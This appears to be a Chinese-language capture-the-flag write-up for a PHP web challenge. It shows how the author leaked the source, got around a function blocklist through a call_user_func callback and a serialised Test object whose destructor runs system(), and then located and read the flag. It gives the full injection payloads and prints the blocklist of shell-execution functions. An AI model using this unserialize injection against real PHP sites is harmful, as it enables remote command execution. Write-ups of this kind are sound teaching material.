打开之后查看源码发现一个隐藏的表格,是post传参
而且默认传入参数为func=date&p=Y-m-d+h%3Ai%3As+a
经查询,date()是PHP的一个函数,而p则是func的参数
date(string
$format
, int$timestamp
= ?): string返回将整数
timestamp
按照给定的格式字串而产生的字符串。如果没有给出时间戳则使用本地当前时间。换句话说,timestamp
是可选的,默认值为time()
注意这里真的是使用了这个函数
看来传的确实是函数以及其参数
那么就先查看一下index.php的内容吧,使用file_get_contents(),函数作用是将整个文件读入一个字符串, 这是其参数意义,一般我们只传一个参数,就是filename
感兴趣可以去Manual学习
PHP: file_get_contents - Manual
然后得到index.php内容如下,并分析一下源码
<?php
// 过滤的函数
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
// 获取时间
function gettime($func, $p) {
// call_user_func:把第一个参数作为回调函数调用,第二个参数为回调函数的参数
$result = call_user_func($func, $p); // 调用func(p)
$a= gettype($result);
if ($a == "string") { // 获取result类型并判断是否为string
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
// 获取传入的func以及p
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func); // 将字符串转为小写
if (!in_array($func,$disable_fun)) { // 判断函数是否合规
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
明显system()函数被禁用
不过其中有一个Test类,并且设置了函数__destruct(),此函数为反序列化时才调用,所以我们可以以序列化的Test对象入手,先序列化一个
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$test = new Test();
echo serialize($test);
得到O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
传入后果然可以使用,那么就可以查找flag的位置了
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
得到很多
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
然后得到flag